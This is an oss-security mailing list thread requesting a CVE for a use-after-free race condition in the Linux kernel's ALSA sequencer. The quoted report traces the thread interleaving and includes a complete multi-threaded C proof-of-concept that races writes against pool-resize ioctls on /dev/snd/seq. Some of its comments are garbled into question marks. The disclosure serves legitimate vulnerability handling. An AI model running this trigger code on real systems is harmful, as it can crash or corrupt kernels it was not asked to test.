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Message-ID: <20180116155104.GK32106@suse.de>
Date: Tue, 16 Jan 2018 16:51:05 +0100
From: Marcus Meissner <meissner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: sound driver Conditional competition
Hi,
Kurt, will you still allocate the CVE or should we ask Mitre.
Ciao, Marcus
On Tue, Jan 16, 2018 at 03:21:19PM +0800, luo wrote:
> PRODUCT： linux kernel
> VERSION： Most versions.some deadlock ,some uaf.2.6。I tested 2.6 versions, 3.10 versions, and 4.12
> PROBLEMTYPE: deadlock or uaf
> REFERENCES：https://github.com/torvalds/linux/commit/b3defb791b26ea0683a93a4f49c77ec45ec96f10
> DESCRIPTION：
> This vulnerability, which belong to UAF caused by race conditions,
> can impact the majority of linux distribution(audio system).
>
>
> In file seq_clientmgr.c, function snd_seq_write and
> snd_seq_ioctl_set_client_pool can cause conditional competition problems
> when multi-thread is used.
>
> snd_seq_write calls snd_seq_cell_alloc to allocate memories for cell from
> client->pool. When pool is exhausted, schedule is called to switch current
> thread to another thread, and add current thread to a queue for waiting.
>
> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing to set
> client->pool->closeing to 1, in order to prevent re-entrant. It also
> calls snd_seq_queue_client_leave_cells to release cell. And it then calls
> snd_seq_pool_done, first to release pool and allocate new pool and second
> to set client->pool->closeing to 0. Function wake_up is both called in
> snd_seq_queue_client_leave_cells and snd_seq_pool_done, to wake up the
> thread in the waiting queue mentioned above, avoiding the use of any
> wild pointer.
>
> All is seemed to be well designed , but there is a trick:
>
>
> -- Thread A --
> step 1:
> A calls snd_seq_write to exhaust pool.
>
> step 2:
> snd_seq_write calls func schedule to schedule threads, now go to Thread B.
>
>
>
> -- Thread B --
> step 1:
> B calls snd_seq_ioctl_set_client_pool.
>
> step 2:
> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing.
> snd_seq_pool_mark_closing sets client->pool->closeing to 1.
>
> step 3:
> Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells.
> snd_seq_queue_client_leave_cells release the memories of cells.
> snd_seq_queue_client_leave_cells calls wake_up, now back to Thread A.
>
>
>
> -- Back To Thread A --
> step 1:
> A will find out that client->pool->closeing is 1, so snd_seq_cell_alloc fails.
>
> step 2:
> Returning from snd_seq_cell_alloc to snd_seq_write. snd_seq_write also fails.
>
> step 3:
> A now call snd_seq_ioctl_set_client_pool.
>
> step 4:
> snd_seq_ioctl_set_client_pool calls snd_seq_pool_mark_closing.
> snd_seq_pool_mark_closing sets client->pool->closeing to 1 again.
>
> step 5:
> Then snd_seq_ioctl_set_client_pool calls snd_seq_queue_client_leave_cells.
> cell is already release by B.
> And because no thread is in waiting queue, so wake_up will not be called.
>
> step 6:
> Then snd_seq_ioctl_set_client_pool calls snd_seq_pool_done.
> snd_seq_pool_done release pool and allocate new pool.
> snd_seq_pool_done sets client->pool->closeing to 0.
> Now it's become reentrant.
>
> step 8:
> So after a call to snd_seq_ioctl_set_client_pool, pool is new.
> Thread A can call snd_seq_write many times to exhaust the memories of pool.
> Then A go to sleep, now switch to thread B.
>
>
>
> -- Back To Thread B --
> step 1:
> Back to snd_seq_queue_client_leave_cells, after previous call to wake_up.
>
> step 2:
> Return to snd_seq_ioctl_set_client_pool.
> snd_seq_ioctl_set_client_pool call snd_seq_pool_done.
> snd_seq_pool_done release and allocate new pool.
> now client->pool->closeing is already 0, and pool is new.
>
>
> --------------------------------------------------------------------
>
> Now you see, the pool allocated by thread A is now released by thread B.
> And thread B allocate new pool, which is the 3rd pool.
>
> But in thread A, in snd_seq_cell_alloc called by snd_seq_write, the pool is
> actually the 2cd pool, and meet a dead loop:
>
> while (pool->free == NULL && ! nonblock && ! pool->closing)
>
> Note the 2cd pool is released by thread B in B's snd_seq_ioctl_set_client_pool.
>
> Further more, if serveral threads switch between sechedule and wake_up, there will be more obvious sequelae.
>
> ----------------------------------------------------
>
> call stack:
>
> thread a:
> -> snd_seq_write
> -> snd_seq_client_enqueue_event
> -> snd_seq_event_dup
> -> snd_seq_cell_alloc
> -> schedule -> thread b
>
> thread b:
> -> snd_seq_ioctl_set_client_pool
> -> snd_seq_pool_mark_closing (set closeing to 1)
> -> snd_seq_queue_client_leave_cells (release cell)
> -> wake_up -> thread a
>
> thread a:
> -> snd_seq_ioctl_set_client_pool
> -> snd_seq_pool_mark_closing (set closeing to 1 again)
> -> snd_seq_queue_client_leave_cells (already release cell by thread b)
> -> snd_seq_pool_done (release pool and allocate new pool, 2cd pool;
> set closeing to 0)
> -> snd_seq_write
> -> snd_seq_client_enqueue_event
> -> snd_seq_event_dup
> -> snd_seq_cell_alloc
> -> schedule -> thread b
>
> thread b:
> back to snd_seq_queue_client_leave_cells, after func wake_up
> -> snd_seq_queue_client_leave_cells
> -> snd_seq_pool_done (release pool and allocate new pool, 3rd pool;
> set closeing to 0)
> (leave 2cd pool's cell unhandled)
> -> wake_up -> thread a:
>
> thread a:
> -> snd_seq_cell_alloc:
> while (pool->free == NULL && ! nonblock && ! pool->closing)
> meet dead loop, now pool in thread a is the 2cd pool, has been released,
> now is a wild pointer.
>
>
> ---EOF---
>
> At 2018-01-12 09:24:58, "kseifried@...hat.com" <kseifried@...hat.com> wrote:
> >I'll need some details:
> >
> >[PRODUCT]:
> >[VERSION]:
> >[PROBLEMTYPE]:
> >[REFERENCES]:
> >[DESCRIPTION]:
> >
> >problemtype ideally the CWE identifier (http://cwe.mitre.org) and
> >description includes product, version affected, description of problem,
> >affected component, impact, etc. The references needs to be a public URL
> >with details on the issue, if it's embargoed I'll need a URL where you
> >plan to publish, thanks. No key found so sending plaintext.
> >
> >
> >On 2018-01-11 06:19 PM, luo wrote:
> >
> >--
> >
> >Kurt Seifried -- Red Hat -- Product Security -- Cloud
> >PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
> >Red Hat Product Security contact: secalert@...hat.com
> #include <stdio.h>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <stdlib.h>
>
> #define SNDRV_SEQ_EVENT_LENGTH_MASK (3<<2)
> #define SNDRV_SEQ_QUEUE_DIRECT 253
> #define SNDRV_SEQ_EVENT_LENGTH_VARIABLE (1<<2)
> #define SNDRV_SEQ_PORT_CAP_WRITE (1<<1)
> //int client;
> typedef int snd_seq_client_type_t;
> typedef unsigned int snd_seq_tick_time_t;
> typedef unsigned char snd_seq_event_type_t;
> struct snd_seq_real_time {
> unsigned int tv_sec; /* seconds */
> unsigned int tv_nsec; /* nanoseconds */
> };
> struct snd_seq_ev_ext {
> unsigned int len; /* length of data */
> void *ptr; /* pointer to data (note: maybe 64-bit) */
> };
> struct snd_seq_addr {
> unsigned char client; /**< Client number: 0..255, 255 = broadcast to all clients */
> unsigned char port; /**< Port within client: 0..255, 255 = broadcast to all ports */
> };
> struct snd_seq_client_info {
> int client; /* client number to inquire */
> snd_seq_client_type_t type; /* client type */
> char name[64]; /* client name */
> unsigned int filter; /* filter flags */
> unsigned char multicast_filter[8]; /* multicast filter bitmap */
> unsigned char event_filter[32]; /* event filter bitmap */
> int num_ports; /* RO: number of ports */
> int event_lost; /* number of lost events */
> int card; /* RO: card number[kernel] */
> int pid; /* RO: pid[user] */
> char reserved[56]; /* for future use */
> };
> union snd_seq_timestamp {
> snd_seq_tick_time_t tick;
> struct snd_seq_real_time time;
> };
> struct snd_seq_client_pool {
> int client; /* client number to inquire */
> int output_pool; /* outgoing (write) pool size */
> int input_pool; /* incoming (read) pool size */
> int output_room; /* minimum free pool size for select/blocking mode */
> int output_free; /* unused size */
> int input_free; /* unused size */
> char reserved[64];
> };
> struct snd_seq_port_info {
> struct snd_seq_addr addr; /* client/port numbers */
> char name[64]; /* port name */
>
> unsigned int capability; /* port capability bits */
> unsigned int type; /* port type bits */
> int midi_channels; /* channels per MIDI port */
> int midi_voices; /* voices per MIDI port */
> int synth_voices; /* voices per SYNTH port */
>
> int read_use; /* R/O: subscribers for output (from this port) */
> int write_use; /* R/O: subscribers for input (to this port) */
>
> void *kernel; /* reserved for kernel use (must be NULL) */
> unsigned int flags; /* misc. conditioning */
> unsigned char time_queue; /* queue # for timestamping */
> char reserved[59]; /* for future use */
> };
> struct snd_seq_queue_info {
> int queue; /* queue id */
>
> /*
> * security settings, only owner of this queue can start/stop timer
> * etc. if the queue is locked for other clients
> */
> int owner; /* client id for owner of the queue */
> unsigned locked:1; /* timing queue locked for other queues */
> char name[64]; /* name of this queue */
> unsigned int flags; /* flags */
> char reserved[60]; /* for future use */
>
> };
> struct snd_seq_event {
> snd_seq_event_type_t type; /* event type */
> unsigned char flags; /* event flags */
> char tag;
>
> unsigned char queue; /* schedule queue */
> union snd_seq_timestamp time; /* schedule time */
>
>
> struct snd_seq_addr source; /* source address */
> struct snd_seq_addr dest; /* destination address */
>
> union { /* event data... */
> struct snd_seq_ev_ext ext;
> } data;
> };
> //gcc competition.c -o competition -lpthread
> //./competition
> void *thread1(void *arg)
> {
> struct snd_seq_event event;//??????????????????????????? snd_seq_fifo_event_in
> char* buf;
> int num;
> int i;
> int ret=0;
> int fd=*(int*)arg;
> struct snd_seq_client_pool pool_info;
> buf=(char*)malloc(60000);
> event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE;//snd_seq_ev_is_variable
> event.data.ext.len=0xc0000770;
> event.data.ext.ptr=0xffffffff;
>
> ///////???????????????
> event.type=130;
> event.queue=0;
> event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input //??????????????????
> //printf("client %d\n",client);
> event.dest.port=0;//snd_seq_port_use_ptr port->capability????????? ?????????
> num=2000/sizeof(event);
> for(i=0;i<num;i++)
> {
> memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event));
> }
> ret=write(fd,buf,2000);
> i=500;
> while(1)
> {
>
> ret=write(fd,buf,2000);
> if(ret>0)
> {
> printf("write 2000 ok num=%d\n",ret);
> }
> else
> {
> i++;
> printf("write fail");
> pool_info.input_pool=100;
> pool_info.output_pool=i;
> pool_info.client=128;//??????????????????
> //printf("client %d\n",client);
> ret=ioctl(fd,1079530316,&pool_info);
> if(!(ret<0))
> printf("thread1 ok snd_seq_ioctl_set_client_pool");
> }
> }
>
>
> }
> void *thread2(void *arg)
> {
> struct snd_seq_event event;
> struct snd_seq_client_pool pool_info;
> int fd=*(int*)arg;
> int ret=0;
> int i=600;
> int num;
> char* buf;
> sleep(3);
> pool_info.input_pool=100;
> pool_info.output_pool=600;
> pool_info.client=128;//??????????????????
> //printf("client %d\n",client);
> printf("thread2 start");
> event.flags=SNDRV_SEQ_EVENT_LENGTH_VARIABLE;
> buf=(char*)malloc(60000);
> event.data.ext.len=0xc0000770;
> event.data.ext.ptr=0xffffffff;
> num=2000/sizeof(event);
> ///////???????????????
> event.type=130;
> event.queue=0;
> event.dest.client=128;//get_event_dest_client ???2?????????????????? ??????????????? accept_input //??????????????????
> //printf("client %d\n",client);
> event.dest.port=0;//snd_seq_port_use_ptr port->capability????????? ?????????
> for(i=0;i<num;i++)
> {
> memcpy(buf+i*sizeof(event),(char*)&event,sizeof(event));
> }
> while(1)
> {
> sleep(3);
> pool_info.output_pool=i;
> i++;
> if(i%2)
> {
>
> pool_info.output_pool=600;
> }
> //close(fd);
> ret=ioctl(fd,1079530316,&pool_info);//snd_seq_ioctl_set_client_pool
> if(ret<0)//?????????????????????pool
> {
> printf("snd_seq_ioctl_set_client_pool fail\n");
> }
> else
> {
> ret=write(fd,buf,2000);
> if(!(ret<0))
> printf("thread2 ok write");
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> ret=write(fd,buf,2000);
> printf("snd_seq_ioctl_set_client_pool ok \n");
>
> }
>
>
> }
>
>
>
>
> }
>
>
> int main()
> {
>
> int fd;
> struct snd_seq_client_info clent_info;
> struct snd_seq_port_info port_info;
> struct snd_seq_queue_info queue_info;
> int ret=0;
> pthread_t th;
>
> fd =open("/dev/snd/seq", O_RDWR);
> if(fd==0)
> {
> printf("fail open%d\n",fd);
> return 0;
> }
> ioctl(fd,3233567504,&clent_info);//snd_seq_ioctl_get_client_info
> port_info.addr.client=128;//??????????????????
> //client=clent_info.client;
> //printf("main client %d\n",clent_info.client);
> port_info.addr.port =8;
> port_info.capability=SNDRV_SEQ_PORT_CAP_WRITE;
> ioctl(fd,3231994656,&port_info);//snd_seq_ioctl_create_port ??????
> memset(&queue_info,0x00,sizeof(queue_info));
> ioctl(fd,3230421810,&queue_info);//snd_seq_ioctl_create_queue ?????????????????? queue_info->queue
>
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> if(ret!=0)
> {
> printf("create thread11111111111111111 error!\n");
> return -1;
> }
> else
> {
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> printf("create thread1 okokokokokokokokoko!\n");
> }
> ret=pthread_create( &th, NULL, thread2, (void*)&fd);
> if(ret!=0)
> {
> printf("create thread2222222222 error!\n");
> return -1;
> }
> else
> {
> printf("create thread2 okokokokokokokokoko!\n");
> }
> //ret=pthread_create( &th, NULL, thread1, (void*)&fd);
> sleep(1800);
>
>
> return 0;
> }
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--
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 53-432,,serv=loki,mail=wotan,type=real <meissner@...e.de>
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